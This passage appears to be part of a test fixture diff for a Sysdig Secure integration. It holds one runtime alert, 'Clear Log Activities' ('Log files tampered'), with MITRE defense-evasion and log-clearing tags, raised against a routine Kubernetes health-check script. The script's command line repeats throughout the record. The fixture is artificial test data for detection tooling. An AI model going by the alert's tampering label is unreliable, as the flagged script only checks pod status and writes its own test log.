0;\",\"proc.cwd\":\"/apps/\",\"proc.exepath\":\"/bin/bash\",\"proc.name\":\"bash\",\"proc.pcmdline\":\"bash -c echo \\\"Checking Aqua Enforcer\\\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\\\"{.items[*].metadata.name}\\\"));.for aqua_enforcer_pod in \\\"${aqua_enforcer_pods[@]}\\\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \\\"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\\\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\\\"{.status.phase}\\\");.. if [[ $aqua_enforcer_pod_status != \\\"Running\\\" ]]; then. echo \\\"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\\\";. sleep 15;. else. echo \\\"LOG: Pod $aqua_enforcer_pod, Running\\\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \\\"${aqua_enforcer_pods[@]}\\\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \\\"Successfully connected to gateway\\\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \\\"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\\\";. else. echo \\\"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\\\";. echo \\\"Retrying for 5 minutes.\\\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \\\"Successfully connected to gateway\\\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \\\"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\\\";. break;. else. echo \\\"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\\\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \\\"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\\\";. exit 1;. fi;. fi;.done;.echo \\\"Job completed successfully for all Aqua Enforcer pods.\\\"; exit 0;\",\"proc.pid\":\"146490\",\"proc.pname\":\"bash\",\"proc.ppid\":\"136656\",\"proc.sid\":\"1\",\"user.loginname\":\"\",\"user.loginuid\":\"-1\",\"user.name\":\"root\",\"user.uid\":\"0\"},\"origin\":\"Sysdig\",\"output\":\"Log files tampered by bash with parent bash on test-aqua-enforcer under user root (evt.type=open fd.name=/var/log/enforcer_testjob.log evt.arg.path= evt.arg.name=/var/log/enforcer_testjob.log proc.exepath=/bin/bash proc.name=bash proc.pname=bash gparent=containerd-shim ggparent=systemd gggparent= image=docker.io/alpine/k8s user.name=root user.loginuid=-1 proc.cmdline=bash -c echo \\\"Checking Aqua Enforcer\\\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\\\"{.items[*].metadata.name}\\\"));.for aqua_enforcer_pod in \\\"${aqua_enforcer_pods[@]}\\\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \\\"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\\\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\\\"{.status.phase}\\\");.. if [[ $aqua_enforcer_pod_status != \\\"Running\\\" ]]; then. echo \\\"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\\\";. sleep 15;. else. echo \\\"LOG: Pod $aqua_enforcer_pod, Running\\\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \\\"${aqua_enforcer_pods[@]}\\\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \\\"Successfully connected to gateway\\\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \\\"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\\\";. else. echo \\\"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\\\";. echo \\\"Retrying for 5 minutes.\\\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \\\"Successfully connected to gateway\\\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \\\"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\\\";. break;. else. echo \\\"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\\\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \\\"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\\\";. exit 1;. fi;. fi;.done;.echo \\\"Job completed successfully for all Aqua Enforcer pods.\\\"; exit 0; container.id=d2c32629a588 proc.pid=146490 proc.cwd=/apps/ proc.ppid=136656 proc.pcmdline=bash -c echo \\\"Checking Aqua Enforcer\\\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\\\"{.items[*].metadata.name}\\\"));.for aqua_enforcer_pod in \\\"${aqua_enforcer_pods[@]}\\\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \\\"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\\\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\\\"{.status.phase}\\\");.. if [[ $aqua_enforcer_pod_status != \\\"Running\\\" ]]; then. echo \\\"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\\\";. sleep 15;. else. echo \\\"LOG: Pod $aqua_enforcer_pod, Running\\\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \\\"${aqua_enforcer_pods[@]}\\\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \\\"Successfully connected to gateway\\\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \\\"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\\\";. else. echo \\\"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\\\";. echo \\\"Retrying for 5 minutes.\\\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \\\"Successfully connected to gateway\\\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \\\"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\\\";. break;. else. echo \\\"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\\\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \\\"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\\\";. exit 1;. fi;. fi;.done;.echo \\\"Job completed successfully for all Aqua Enforcer pods.\\\"; exit 0; proc.sid=1 user.uid=0 user.loginname= group.gid=0 group.name=root container.name=test-aqua-enforcer)\",\"policyId\":10011701,\"ruleName\":\"Clear Log Activities\",\"ruleSubType\":0,\"ruleTags\":[\"host\",\"container\",\"file\",\"FIM\",\"SOC2\",\"SOC2_CC6.7\",\"PCI\",\"PCI_DSS\",\"PCI_DSS_10.5.5\",\"NIST\",\"NIST_800-171\",\"NIST_800-171_3.14.6\",\"NIST_800-171_3.3.1\",\"NIST_800-171_3.3.2\",\"NIST_800-171_3.4.5\",\"NIST_800-53\",\"NIST_800-53_AU-6(8)\",\"NIST_800-53_CM-5\",\"NIST_800-53_AU-2\",\"NIST_800-53_AU-10\",\"FedRAMP\",\"FedRAMP_AU-10\",\"FedRAMP_AU-2\",\"ISO\",\"ISO_27001\",\"ISO_27001_A.18.1.3\",\"HIPAA\",\"HIPAA_164.308(a)\",\"HIPAA_164.312(b)\",\"HITRUST\",\"HITRUST_CSF\",\"HITRUST_CSF_01.p\",\"HITRUST_CSF_01.s\",\"HITRUST_CSF_06.i\",\"HITRUST_CSF_09.aa\",\"HITRUST_CSF_09.ab\",\"HITRUST_CSF_09.ad\",\"HITRUST_CSF_09.ae\",\"HITRUST_CSF_09.b\",\"HITRUST_CSF_09.x\",\"HITRUST_CSF_09.y\",\"HITRUST_CSF_10.d\",\"HITRUST_CSF_10.j\",\"HITRUST_CSF_10.k\",\"MITRE\",\"MITRE_TA0005_defense_evasion\",\"MITRE_TA0040_impact\",\"MITRE_T1070_indicator_removal_on_host\",\"MITRE_T1485_data_destruction\",\"MITRE_T1070.002_indicator_removal_clear_linux_or_mac_system_logs\",\"MITRE_T1070.003_indicator_removal_clear_command_history\",\"MITRE_T1070.004_indicator_removal_file_deletion\",\"oss\"],\"ruleType\":6,\"type\":\"workloadRuntimeDetection\"},\"description\":\"This Notable Events policy contains rules which may indicate undesired behavior including security threats. The rules are more generalized than Threat Detection policies and may result in more noise. Tuning will likely be required for the events generated from this policy.\",\"engine\":\"falco\",\"id\":\"183abcdefabcdef123456ffcccf0a338\",\"labels\":{\"aws.accountId\":\"012345678912\",\"aws.region\":\"us-west-2\",\"cloudProvider.account.id\":\"012345678912\",\"cloudProvider.name\":\"aws\",\"cloudProvider.region\":\"us-west-2\",\"container.image.digest\":\"sha256:b6980881cf440a3ae78dfa9c021aaa9bb66fc3c27b7120cfa2b2fa1c35ceaa20\",\"container.image.id\":\"4b0aebaeaf91\",\"container.image.repo\":\"docker.io/alpine/k8s\",\"container.image.tag\":\"1.26.2\",\"container.label.io.kubernetes.container.name\":\"test-aqua-enforcer\",\"container.label.io.kubernetes.pod.name\":\"aqua-enforcer-tester-12345678-abcde\",\"container.label.io.kubernetes.pod.namespace\":\"aqua\",\"container.name\":\"test-aqua-enforcer\",\"host.hostName\":\"ip-192-168-183-59.us-west-2.compute.internal\",\"host.mac\":\"01:00:5e:90:10:01\",\"kubernetes.cluster.name\":\"myclusterName\",\"kubernetes.cronJob.name\":\"aqua-enforcer-tester\",\"kubernetes.job.name\":\"aqua-enforcer-tester-29077920\",\"kubernetes.namespace.name\":\"aqua\",\"kubernetes.node.name\":\"i-00123456789012344\",\"kubernetes.pod.name\":\"aqua-enforcer-tester-12345678-abcde\",\"kubernetes.workload.name\":\"aqua-enforcer-tester\",\"kubernetes.workload.type\":\"cronjob\"},\"name\":\"Sysdig Runtime Notable Events\",\"originator\":\"policy\",\"rawEventCategory\":\"runtime\",\"rawEventOriginator\":\"linuxAgent\",\"severity\":5,\"source\":\"syscall\",\"sourceDetails\":{\"subType\":\"container\",\"type\":\"workload\"},\"timestamp\":1744675845328594200}", + "provider": "syscall", + "severity": 5, + "type": [ + "info" + ] + }, + "group": { + "id": "0", + "name": "root" + }, + "host": { + "hostname": "ip-192-168-183-59.us-west-2.compute.internal", + "mac": [ + "01-00-5E-90-10-01" + ], + "name": "ip-192-168-183-59.us-west-2.compute.internal" + }, + "message": "Log files tampered by bash with parent bash on test-aqua-enforcer under user root (evt.type=open fd.name=/var/log/enforcer_testjob.log evt.arg.path= evt.arg.name=/var/log/enforcer_testjob.log proc.exepath=/bin/bash proc.name=bash proc.pname=bash gparent=containerd-shim ggparent=systemd gggparent= image=docker.io/alpine/k8s user.name=root user.loginuid=-1 proc.cmdline=bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0; container.id=d2c32629a588 proc.pid=146490 proc.cwd=/apps/ proc.ppid=136656 proc.pcmdline=bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0; proc.sid=1 user.uid=0 user.loginname= group.gid=0 group.name=root container.name=test-aqua-enforcer)", + "observer": { + "product": "Sysdig Secure", + "vendor": "Sysdig" + }, + "orchestrator": { + "cluster": { + "name": "myclusterName" + }, + "namespace": "aqua", + "resource": { + "name": "aqua-enforcer-tester-12345678-abcde", + "parent": { + "type": "cronjob" + } + } + }, + "process": { + "command_line": "bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0;", + "executable": "/bin/bash", + "name": "bash", + "parent": { + "command_line": "bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0;", + "name": "bash", + "pid": 136656 + }, + "pid": 146490, + "working_directory": "/apps/" + }, + "related": { + "hash": [ + "b6980881cf440a3ae78dfa9c021aaa9bb66fc3c27b7120cfa2b2fa1c35ceaa20" + ], + "hosts": [ + "ip-192-168-183-59.us-west-2.compute.internal" + ], + "user": [ + "root", + "0" + ] + }, + "rule": { + "description": "This Notable Events policy contains rules which may indicate undesired behavior including security threats. The rules are more generalized than Threat Detection policies and may result in more noise. Tuning will likely be required for the events generated from this policy.", + "name": "Clear Log Activities", + "ruleset": "Sysdig Runtime Notable Events" + }, + "sysdig": { + "event": { + "actions": [ + { + "after_event_ns": 30000000000, + "before_event_ns": 15000000000, + "is_successful": true, + "token": "0d0eefe8-a14b-1234-5678-abcdef7c4ce4", + "type": "capture" + } + ], + "category": "runtime", + "content": { + "fields": { + "container": { + "id": "d2abcdefa588", + "image": { + "repository": "docker.io/alpine/k8s" + }, + "name": "test-aqua-enforcer" + }, + "evt": { + "type": "open" + }, + "fd": { + "name": "/var/log/enforcer_testjob.log" + }, + "group": { + "gid": "0", + "name": "root" + }, + "proc": { + "cmdline": "bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0;", + "cwd": "/apps/", + "exepath": "/bin/bash", + "name": "bash", + "pcmdline": "bash -c echo \"Checking Aqua Enforcer\"; sleep 5; timeout_seconds=420; retry_interval=30; max_retry_attempts=5; start_time=$(date +%s); aqua_enforcer_pods=($(kubectl get pods -n aqua -l app=aqua-enforcer-ds --field-selector=status.phase==Running -o jsonpath=\"{.items[*].metadata.name}\"));.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. while true; do. current_time=$(date +%s); elapsed_time=$((current_time - start_time));.. if [ $elapsed_time -ge $timeout_seconds ]; then. echo \"Error: Timeout reached while waiting for Aqua Enforcer pods to be ready.\";. exit 1;. fi;.. aqua_enforcer_pod_status=$(kubectl get pod $aqua_enforcer_pod -n aqua -o jsonpath=\"{.status.phase}\");.. if [[ $aqua_enforcer_pod_status != \"Running\" ]]; then. echo \"LOG: Pod $aqua_enforcer_pod, $aqua_enforcer_pod_status\";. sleep 15;. else. echo \"LOG: Pod $aqua_enforcer_pod, Running\";. break;. fi;. done;.done;.for aqua_enforcer_pod in \"${aqua_enforcer_pods[@]}\"; do.. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected\";. else. echo \"Error: Aqua Enforcer pod $aqua_enforcer_pod failed to connect.\";. echo \"Retrying for 5 minutes.\";.. start_time_retry=$(date +%s); retry_elapsed_time=0;.. while [ $retry_elapsed_time -lt $((retry_interval * max_retry_attempts)) ]; do. kubectl exec -n aqua $aqua_enforcer_pod -- timeout 30s /opt/aquasec/./slkaudit > /var/log/enforcer_testjob.log 2>&1. grep -iq \"Successfully connected to gateway\" /var/log/enforcer_testjob.log. grep_exit_code=$?;.. if [ $grep_exit_code -eq 0 ]; then. echo \"Success: Aqua Enforcer pod $aqua_enforcer_pod is running and connected after retry.\";. break;. else. echo \"Retry: Aqua Enforcer pod $aqua_enforcer_pod failed to connect. Retrying in 30 seconds.\";. sleep $retry_interval;. retry_elapsed_time=$((retry_elapsed_time + retry_interval));. fi;. done;.. if [ $grep_exit_code -ne 0 ]; then. echo \"Error: Retry limit reached. Aqua Enforcer pod $aqua_enforcer_pod still failed to connect.\";. exit 1;. fi;. fi;.done;.echo \"Job completed successfully for all Aqua Enforcer pods.\"; exit 0;", + "pid": 146490, + "pname": "bash", + "ppid": 136656, + "sid": "1" + }, + "user": { + "name": "root", + "uid": "0" + } + }, + "origin": "Sysdig", + "output": "Log files tampered by bash with parent bash on test-aqua-enforcer under user root (evt.type=open fd.name=/var/log/enforcer_testjob.log evt.arg.path= evt.arg.name=/var/log/enforcer_testjob.log proc.exepath=/bin/bash proc.name=bash proc.pname=bash gparent=containerd-shim ggparent=systemd gggparent= image=docker.io/alpine/k8s user.name=root user.loginuid=-1 proc.cmdline=bash -c echo \"Checking 